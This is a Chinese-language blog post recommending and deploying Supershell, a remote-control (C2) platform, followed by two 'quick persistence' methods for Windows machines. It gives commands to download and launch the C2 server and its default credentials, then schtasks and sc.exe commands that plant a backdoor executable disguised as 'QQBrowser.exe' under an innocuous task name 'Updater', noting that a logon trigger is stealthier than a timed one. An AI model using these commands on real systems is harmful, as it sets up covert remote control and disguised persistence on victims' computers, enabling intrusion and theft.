Supershell远控部署

今天搭建了一下supershell,蛮好用的,推荐一手。
GITHUB地址:https://github.com/tdragon6/Supershell
image

部署

首先必须要先有一台自己的公网服务器,可以考虑阿里云,腾讯云,华为云,百度云之类的。
然后就开始搭建!
输入命令行,下载解压源码

wget https://github.com/tdragon6/Supershell/releases/latest/download/Supershell.tar.gz
tar -zxvf Supershell.tar.gz
cd Supershell

config.py为系统配置文件,其中包含username和password,docker-compose.yml为组件配置文件,其中包括redis,nginx等组件的映射端口。

config.py

# web登录和会话配置信息  
user = 'tdragon6'  
pwd = 'b7671f125bb2ed21d0476a00cfaa9ed6' # 明文密码 tdragon6 的md5  
  
# jwt加密盐  
global_salt = 'Be sure to modify this key' # 必须修改,不然可以伪造jwt token直接登录  
  
# 会话保持时间,单位:小时  
expire = 48  
  
  
# 共享远控shell的共享密码  
share_pwd = 'b7671f125bb2ed21d0476a00cfaa9ed6' # 明文密码 tdragon6 的md5  
  
# 共享shell会话保持时间,单位:小时  
share_expire = 24

确保8888和3232端口没有被占用,若被占用,需要合理修改端口。

netstat -al  #查看所有端口

设置公网地址环境变量

export EXTERNAL_ADDRESS=<公网地址>:<rssh公网端口>

构建

docker-compose up -d

访问管理平台

http://公网IP:8888

image

简单的两种快速维权方式

计划任务后门

schtasks命令设定计划自动启动后门程序。

#每5分钟自动执行install.exe
schtasks /create /tn Updater /tr C:\Users\Administrator\QQBrowser.exe /sc minute /mo 5

image

image

直接启动一个定时任务
schtasks /rn /rn 任务名称
定时任务删除
schtasks /delete /tn 任务名称

时间触发过于明显,设置登陆触发更为隐蔽

schtasks /create /tn Updater /tr C:\Users\Administrator\QQBrowser.exe /sc onlogon

详细查看自启任务

schtasks /query /v /tn Updater

服务自启动后门

自启动服务一般是在电脑启动后在后台加载指定的服务程序,我们可以将exe文件注册为服务,也可以将dll文件注册为服务。

sc.exe create QQBrowser binpath= c:\Users\Public\QQBrowser.exe(注意等号后面有空格)#创建服务
sc.exe config QQBrowser start= auto #设置服务为自动启动
net start QQBrowser #启动服务

删除服务

sc.exe delete QQBrowser
posted @ 2023-09-21 18:40  LinkPoc  阅读(597)  评论(0编辑  收藏  举报